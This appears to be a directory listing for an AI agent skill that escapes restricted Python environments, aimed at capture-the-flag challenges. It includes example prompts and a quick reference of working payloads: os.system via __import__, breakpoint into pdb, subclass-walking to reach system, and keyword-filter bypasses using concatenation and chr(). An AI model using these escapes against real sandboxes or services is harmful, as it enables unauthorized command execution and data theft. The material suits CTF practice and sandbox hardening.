Our review

Provides techniques to escape restricted Python environments (jails) by bypassing filters and executing commands.

Strengths

Covers multiple escape techniques (builtins, class hierarchy, breakpoint)
Includes quick reference and debugging methods
Suitable for CTF challenges and security assessments

Limitations

Assumes basic Python programming knowledge
May not work against all sandbox implementations (e.g., completely blocked builtins)
Some techniques may be patched in newer Python versions

When to use it

When you encounter a Python sandbox or jail that restricts code execution and need to exfiltrate data or execute system commands.

When not to use it

In production environments or systems you do not own, and when other simpler bypass methods are available.

Examples

Basic builtins escape

I need to escape a Python eval sandbox that blocks 'import' and 'os'. How can I execute 'cat flag.txt' using string concatenation or character codes?

Class hierarchy escape

In a Python jail with no builtins available, find a way to access the os module using the class hierarchy of tuples or strings to execute 'ls -la'.

Breakpoint escape

I'm in a Python 3.7+ jail that allows breakpoint(). Show me how to drop into pdb and run shell commands to read a file.

name: pyjail description: Escapes Python sandbox restrictions. Use when working with restricted Python eval/exec environments, sandbox escapes, filtered input challenges, or Python jail challenges. allowed-tools: Bash, Read, Write, Grep, Glob

Python Jail Escape Skill

Quick Workflow

Progress:
- [ ] Identify restrictions (blocked keywords/chars)
- [ ] Try basic escapes first
- [ ] If builtins blocked, use class hierarchy
- [ ] Bypass filters with encoding/concatenation
- [ ] Execute command to get flag

Quick Reference - Common Escapes

# Basic command execution
__import__('os').system('cat flag.txt')
eval("__import__('os').system('id')")
exec("import os; os.system('ls')")

# Using breakpoint (Python 3.7+)
breakpoint()  # Drops into pdb, then !cat flag.txt

# No builtins - class hierarchy
().__class__.__base__.__subclasses__()[132].__init__.__globals__['system']('cat flag')

# Keyword bypass
__import__('o'+'s').system('cat flag')
__import__(chr(111)+chr(115)).system('cat flag')

Reference Files

| Topic | Reference | |-------|-----------| | Bypass Techniques | reference/bypass.md | | Complete Payloads | reference/payloads.md |

Quick Debugging

# Find useful class index
for i, c in enumerate(().__class__.__base__.__subclasses__()):
    if 'wrap' in str(c): print(i, c)

# Check available builtins
dir(__builtins__)

Python Jail Escape

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